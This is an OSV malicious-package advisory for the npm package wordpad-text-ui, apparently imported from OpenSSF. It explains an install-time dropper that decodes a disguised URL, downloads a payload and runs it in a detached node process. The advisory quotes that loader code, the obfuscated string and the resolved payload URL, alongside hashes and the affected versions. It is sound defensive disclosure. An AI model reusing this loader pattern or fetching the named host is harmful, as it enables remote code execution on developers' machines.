MAL-2026-5885

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/wordpad-text-ui/MAL-2026-5885.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5885
Published
2026-06-16T14:02:23Z
Modified
2026-06-16T14:31:47.799169862Z
Summary
Malicious code in wordpad-text-ui (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (0d4d50aa948a360a788613f1fee19f4d1853c93d8792a5899c620e56d40c53ad)

On npm install, the declared postinstall hook runs node main.js, which decodes an obfuscated URL (stored as DEV_API_KEY="S]EH:2e2prf1uhshhnqrvm1zzz22=vswwk" in main.js line 15, deobfuscated via string reversal and a Caesar shift of -3 to https://www.jsonkeeper.com/b/7EBZP), HTTP-GETs the response via axios, and writes the body into the stdin of a detached node child process for execution (main.js lines 18-23: const s1 = (await axios.get(update(DEV_API_KEY))).data.content; const child = spawn('node', [], { detached: true,... }); child.stdin.write(s1); child.stdin.end(); child.unref();). This is a classic install-time remote code execution dropper: the payload is hosted on an anonymous, mutable JSON paste service and is therefore attacker-controlled and can change at any time without a package update. Supporting indicators reinforce malicious intent: the C2 URL is hidden behind a homemade reverse+Caesar encoding under a misleading DEV_API_KEY name (an evasion tactic against static scanners); the package's name (wordpad-text-ui) implies a text-editor UI library but index.js only errors out telling consumers not to require it, while bootstrap.js, bundle.js, and publish.js are empty 0-byte decoys — the package ships no actual functionality and exists solely to deliver the dropper. It also pulls in a sibling package richtext-editor-ui that propagates the same campaign.

Database specific
{
    "malicious-packages-origins": [
        {
            "sha256": "0d4d50aa948a360a788613f1fee19f4d1853c93d8792a5899c620e56d40c53ad",
            "source": "amazon-inspector",
            "modified_time": "2026-06-16T14:02:27Z",
            "versions": [
                "1.0.0"
            ],
            "id": "IN-MAL-2026-006749",
            "import_time": "2026-06-16T14:19:04.049256274Z"
        },
        {
            "sha256": "681509192438fabdba9f587c9d5316fd82fbe1093455b0a66e6585c765407e5e",
            "source": "amazon-inspector",
            "modified_time": "2026-06-16T14:02:23Z",
            "versions": [
                "1.0.1"
            ],
            "id": "IN-MAL-2026-006748",
            "import_time": "2026-06-16T14:19:03.923214289Z"
        }
    ]
}
References
Credits

Affected packages

npm / wordpad-text-ui

Package

Affected ranges

Affected versions

1.*
1.0.0
1.0.1

Database specific

cwes
[
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    },
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    }
]
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/wordpad-text-ui/MAL-2026-5885.json"
indicators
{
    "evidence_files": [
        {
            "sha256": "db88a6e0dd89c9bc9e00db11fe9323c7b24208e6f64c5abf83c2428fa4c240ef",
            "tlsh": "7a019c5e321b63795f728bd59a338539892a8030f242e5d4b68920872f83f09028ffdd",
            "path": "main.js"
        },
        {
            "sha256": "4380bf423aba0fd96b6f98895f831256f70aca5606abf77ccd3607a8bb62a484",
            "tlsh": "8e219824e8e2aca317d591b93c3d42532191d9178a4bfc0cb7a6035c8f1c23f92f926d",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha512_sri": "sha512-f2v3X45bojtAht+kKIlfkSZ4sIT8oZnK/Gma1QzfwWNeSlx9FdWHdxnBGRYF5B6mq+zJZXe0frbtCFDfhBeeNA==",
                "sha1": "8fceb3dec5949b74670cf61f6b7ff539d8a05b81"
            },
            "filename": "wordpad-text-ui-1.0.0.tgz"
        }
    ]
}